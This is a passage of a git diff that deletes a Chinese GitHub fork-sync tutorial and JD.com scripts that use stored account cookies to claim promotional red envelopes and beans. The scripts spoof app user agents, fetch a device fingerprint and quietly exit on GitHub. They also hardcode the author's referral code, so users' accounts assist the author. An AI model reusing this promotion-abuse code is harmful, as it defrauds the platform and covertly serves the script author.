Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/gitSync.md b/backUp/gitSync.md deleted file mode 100644 index 132321d..0000000 --- a/backUp/gitSync.md +++ /dev/null @@ -1,100 +0,0 @@ -## 保持自己github的forks自动和上游仓库同步的教程 - - 信息来源于 [https://github.com/wei/pull](https://github.com/wei/pull) - - 以下教程仅是出于个人爱好,不保证本教程的完全正确性,最终请以作者 [https://github.com/wei/pull](https://github.com/wei/pull) 的描述为准。 - - 注:此教程由telegram用户@wukongdada提供 -### 1、只同步默认分支的教程 - -> 当上游的仓库仅有一个默认分支。或者上游仓库有两个分支,我们仅需要同步他的默认分支,其他分支对内容对我们来说无关紧要。 - - - -![git1.jpg](../icon/git1.jpg) - - - -a) 登录自己的github账号,另开网页打开 [https://github.com/wei/pull](https://github.com/wei/pull) - - - -b) 点击Pull app进行安装。 - -![../icon/git2.jpg](../icon/git2.jpg) - - - -c) 安装过程中会让你选择要选择那一种方式,All repositories(就是同步已经frok的仓库以及未来fork的仓库),Only select repositories(仅选择要自己需要同步的仓库,其他fork的仓库不会被同步),根据自己需求选择,实在不知道怎么选择,就选All repositories;点击install,完成安装。 - -![../icon/git3.jpg](../icon/git3.jpg) - - - -d) 后续,如果要调整1.c中的选项,打开 [https://github.com/apps/pull](https://github.com/apps/pull) ,点击Configure,输入github密码进入pull的相关设置。 - -![../icon/git4.jpg](../icon/git4.jpg) - - - -e) 进入后,找到Repository access,根据自己的需求,重新选择:All repositories(就是同步已经frok的仓库以及未来fork的仓库),Only select repositories(仅选择要自己需要同步的仓库,其他fork的仓库不会被同步),Save后保存生效。 - -![../icon/git5.jpg](../icon/git5.jpg) - - - -f) Pull app作者虽然在项目中写道keeps your forks up-to-date with upstream via automated pull requests,但当上游仓库有更改时,自己的仓库会在3个小时内完成与上游的同步,3个小时是Pull app作者说的最长时间。当然也可以通过手动触发同步上游仓库,手动触发方式:`https://pull.git.ci/process/你的GitHub名字/你的仓库名字` (例如:`https://pull.git.ci/process/xxxxx/test` ),手动触发可能会进行人机验证,验证通过后会显示Success。 - -![../icon/git12.jpg](../icon/git6.jpg) - -![../icon/git13.jpg](../icon/git7.png) - -### 2、同步其他分支的教程 - - ![../icon/git8.jpg](../icon/git8.jpg) - - - -a) 假设你fork了上游仓库后,你fork后的地址为 `https://github.com/你的仓库名字/test` ,首先设置完成第1部分内容,注意在1.c步骤没有设置全部同步的,要回到1.e步,确认是否设置同步了 `你的仓库名字/test`,如果没有,请添加上。 - -![../icon/git9.jpg](../icon/git9.jpg) - - - -b) 在默认分支下添加一个文件。 - -![../icon/git10.jpg](../icon/git10.jpg) - - - -c) 复制 ``.github/pull.yml`` 粘贴后看到以下页面,注意github前面的那个.别漏掉了。 - -![../icon/git11.jpg](../icon/git11.jpg) - - - -d) 请在https://github.com/wei/pull\#advanced-setup-with-config 页复制代码, - -注意:upstream处要修改为上游仓库作者名字。 - -![../icon/git12.jpg](../icon/git12.jpg) - -![../icon/git13.jpg](../icon/git13.jpg) - - - -e) 最终的示例如下,假设上游作者是zhangsan,所有的注意点都用红线圈出来了,保存后生效。 - -![../icon/git14.jpg](../icon/git14.jpg) - - - -f) Pull app作者虽然在项目中写道keeps your forks up-to-date with upstream via automated pull requests,但当上游仓库有更改时,自己的仓库会在3个小时内完成与上游的同步,3个小时是Pull app作者说的最长时间。当然也可以通过手动触发同步上游仓库,手动触发方式:`https://pull.git.ci/process/你的GitHub名字/你的仓库名字` (例如:`https://pull.git.ci/process/xxxxx/test`),手动触发可能会进行人机验证,验证通过后会显示Success。具体见1.f提供的图片。 - - - -g) 本人仅测试过forks一个仓库只有2个分支的项目,如果有多个分支,不能保证是否可行,请自行测试,或者是使用本教程第3部分高级玩法。 - -### 高级玩法 - ->当然,作者还有其他更好的项目用于同步所有分支,例如使用 GitHub actions 进行同步。请参考原作者的项目 - -- [https://github.com/wei/git-sync](https://github.com/wei/git-sync) -- [https://github.com/repo-sync/github-sync](https://github.com/repo-sync/github-sync) diff --git a/backUp/gua_1111RedEnvelope.js b/backUp/gua_1111RedEnvelope.js deleted file mode 100644 index 921b514..0000000 --- a/backUp/gua_1111RedEnvelope.js +++ /dev/null @@ -1,351 +0,0 @@ -/* -双十一无门槛红包🧧 -ck1助力 作者 -其余助力ck1 -https://u.jd.com/yI2EGVm -跳转到app 可查看助力情况 -0 0,8,20,22 * * * gua_1111RedEnvelope.js -*/ - -let rebateCodes = '' - -const $ = new Env('第二轮无门槛红包🧧'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -const Faker = $.isNode() ? require('./sign_graphics_validate.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -rebateCodes = $.isNode() ? (process.env.gua_redEnvelope_rebateCode ? process.env.gua_redEnvelope_rebateCode : `${rebateCodes}`) : ($.getdata('gua_redEnvelope_rebateCode') ? $.getdata('gua_redEnvelope_rebateCode') : `${rebateCodes}`); - -rebateCode = '' -message = '' -newCookie = '' -resMsg = '' -const activeEndTime = '2021/11/12 00:00:00+08:00';//活动结束时间 -let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if (nowTime > new Date(activeEndTime).getTime()) { - //活动结束后弹窗提醒 - $.msg($.name, '活动已结束', `请删除此脚本\n咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); - return - } - $.shareCode = 'zZDrk' - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await getUA() - await run(); - } - } - if(message){ - $.msg($.name, ``, `${message}\nhttps://u.jd.com/yI2EGVm\n\n跳转到app 可查看助力情况`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${message}\n\nhttps://u.jd.com/yI2EGVm\n跳转到app 可查看助力情况`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - resMsg = '' - let s = 0 - let t = 1 - do{ - $.flag = 0 - newCookie = '' - await getUrl() - if(!$.url1){ - console.log('获取url1失败') - t = 0 - break - } - await getUrl1() - if(!$.url2){ - console.log('获取url2失败') - t = 0 - break - } - $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq' - if(Faker){ - let arr = await Faker.getBody($.UA,$.url2) - await getEid(arr) - } - if(!$.eid){ - $.eid = -1 - } - if(s == 0){ - await getCoupons($.shareCode,1) - }else{ - await getCoupons('',1) - } - s++ - if($.flag == 1){ - await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) - } - }while ($.flag == 1 && s < 5) - if($.index == 1 && t == 1){ - await $.wait(parseInt(Math.random() * 2000 + 1000, 10)) - await shareUnionCoupon() - } - if(resMsg){ - message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${resMsg}` - } - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - }catch(e){ - console.log(e) - } -} -function getCoupons(shareId = '',type = 1) { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${rebateCode}%22,%22unionShareId%22:%22${shareId}%22,%22type%22:${type},%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA , - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.msg) console.log(res.msg) - if(res.msg.indexOf('上限') === -1 && res.msg.indexOf('登录') === -1){ - $.flag = 1 - } - if(shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined'){ - console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) - } - if(res.code == 0 && res.data){ - let msg = '' - if(res.data.type == 1){ - msg = `获得[红包]🧧${res.data.discount}元 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - }else if(res.data.type == 3){ - msg = `获得[优惠券]🎟️满${res.data.quota}减${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - }else if(res.data.type == 6){ - msg = `获得[打折券]]🎫满${res.data.quota}打${res.data.discount*10}折 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - }else{ - msg = `获得[未知]🎉${res.data.quota || ''} ${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - console.log(data) - } - if(msg){ - resMsg += msg+'\n' - console.log(msg) - } - } - if(shareId && typeof res.data !== 'undefined' && typeof res.data.groupInfo !== 'undefined'){ - for(let i of res.data.groupInfo || []){ - if(i.status == 2){ - console.log(`助力满可以领取${i.info}元红包🧧`) - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - await getCoupons('',2) - } - } - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shareUnionCoupon() { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${rebateCode}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA , - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.code == 0 && res.data && res.data.shareUrl){ - $.shareCode = res.data.shareUrl.match(/\?s=([^&]+)/) && res.data.shareUrl.match(/\?s=([^&]+)/)[1] || '' - console.log('分享码:'+$.shareCode) - if($.shareCode) console.log(`以下账号会助力【京东账号${$.index}】${$.nickName || $.UserName}`) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function getUrl1() { - return new Promise(resolve => { - const options = { - url: $.url1, - followRedirect:false, - headers: { - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - setActivityCookie(resp) - $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' - $.url2 = decodeURIComponent($.url2) - $.url2 = $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getUrl() { - return new Promise(resolve => { - const options = { - url: `https://u.jd.com/${rebateCode}?s=${$.shareCode}`, - followRedirect:false, - headers: { - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - setActivityCookie(resp) - $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function setActivityCookie(resp){ - let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(newCookie.indexOf(name.split("=")[1]) == -1) newCookie += name.replace(/ /g,'')+'; ' - } - } - } -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`fcf: API查询请求失败 ‼️‼️`) - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` - rebateCode = 'yI2EGVm' - if($.index != 1){ - let arr = [rebateCodes,'yI2EGVm'] - rebateCode = arr[Math.floor(Math.random() * arr.length)] || rebateCode - if(!rebateCode) rebateCode = 'yI2EGVm' - } - console.log(rebateCode) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_MMdou.js b/backUp/gua_MMdou.js deleted file mode 100644 index dff995e..0000000 --- a/backUp/gua_MMdou.js +++ /dev/null @@ -1,255 +0,0 @@ -/* -// https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html - -入口:APP首页-领京豆-升级赚京豆 -21 9 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_MMdou.js, tag=MM领京豆, enabled=true - -*/ - -const $ = new Env('MM领京豆'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; - -const jdVersion = '10.1.2' -const iphoneVersion = [Math.ceil(Math.random()*2+12),Math.ceil(Math.random()*4)] -const UA = `jdapp;iPhone;${jdVersion};${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};network/wifi;model/iPhone12,1;addressid/0;appBuild/167802;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS ${iphoneVersion[0]}_${iphoneVersion[1]} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -const UUID = UA.split(';') && UA.split(';')[4] || '' -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -let cookiesArr = []; -let message = '' -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i] + ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.bean = 0 - console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); - await run(); - if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` - } - } - if(message){ - $.msg($.name, ``, `${message}\n入口:APP首页-领京豆-升级赚京豆`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${message}\n入口:APP首页-领京豆-升级赚京豆`); - } - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}) - -async function run() { - try{ - $.taskList = []; - await takePostRequest('beanTaskList') - await takePostRequest('morningGetBean') - console.log(`做任务\n`); - if($.viewAppHome && $.viewAppHome.takenTask == false){ - $.IconDoTaskFlag = 0 - console.log(`做任务:${$.viewAppHome.mainTitle};等待完成`); - await takePostRequest('beanHomeIconDoTask') - await $.wait(getRndInteger(2500, 3500)) - } - if($.viewAppHome && $.viewAppHome.doneTask == false){ - $.IconDoTaskFlag = 1 - console.log(`做任务:${$.viewAppHome.mainTitle}`); - await takePostRequest('beanHomeIconDoTask') - await $.wait(getRndInteger(1000, 1500)) - } - let s = 0 - do{ - s++; - await task() - await $.wait(getRndInteger(1000, 1500)) - await takePostRequest('beanTaskList1') - }while ($.taskFlag && s < 4) - - await $.wait(getRndInteger(1000, 1500)) - }catch (e) { - console.log(e); - } -} - -async function task() { - await $.wait(getRndInteger(1000, 1500)) - //做任务 - $.taskFlag = false - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if ($.oneTask.status === 1) { - $.activityInfoList = $.oneTask.subTaskVOS; - for (let j = 0; j < $.activityInfoList.length; j++) { - $.taskFlag = true - $.oneActivityInfo = $.activityInfoList[j]; - console.log(`做任务:${$.oneActivityInfo.title || $.oneTask.taskName};等待完成`); - $.actionType = 0 - if($.oneTask.taskType == 9 || $.oneTask.taskType == 8){ - $.actionType = 1 - await takePostRequest('beanDoTask'); - await $.wait(getRndInteger($.oneTask.waitDuration && $.oneTask.waitDuration*1000 + 1000 || 6500, $.oneTask.waitDuration && $.oneTask.waitDuration*1000 + 2000 || 7000 )) - $.actionType = 0 - } - await takePostRequest('beanDoTask'); - await $.wait(getRndInteger(4000, 5500)) - } - }else if ($.oneTask.status === 2){ - console.log(`任务:${$.oneTask.taskName};已完成`); - }else{ - console.log(`任务:${$.oneTask.taskName};未能完成\n${JSON.stringify($.oneTask)}`); - } - } -} - -async function takePostRequest(type) { - let body = ``; - let myRequest = ``; - switch (type) { - case 'beanTaskList': - case 'beanTaskList1': - body = `{"viewChannel":"AppHome"}`; - myRequest = await getGetRequest(`beanTaskList`, escape(body)); - break; - case 'beanHomeIconDoTask': - body = `{"flag":"${$.IconDoTaskFlag}","viewChannel":"AppHome"}`; - myRequest = await getGetRequest(`beanHomeIconDoTask`, escape(body)); - break; - case 'beanDoTask': - body = `{"actionType":${$.actionType},"taskToken":"${$.oneActivityInfo.taskToken}"}`; - myRequest = await getGetRequest(`beanDoTask`, escape(body)); - break; - case 'morningGetBean': - body = `{"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}`; - myRequest = await getGetRequest(`morningGetBean`, escape(body)); - break; - default: - console.log(`错误${type}`); - } - if (myRequest) { - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - // console.log(data); - dealReturn(type, data); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) - } -} - -async function dealReturn(type, res) { - try { - data = JSON.parse(res); - } catch (e) { - console.log(`返回异常:${res}`); - return; - } - switch (type) { - case 'beanTaskList': - if (data.code == 0 && data.data) { - console.log(`当前等级:${data.data.curLevel || 0} 下一级可领取:${data.data.nextLevelBeanNum || 0}京豆`) - $.taskList = data.data.taskInfos && 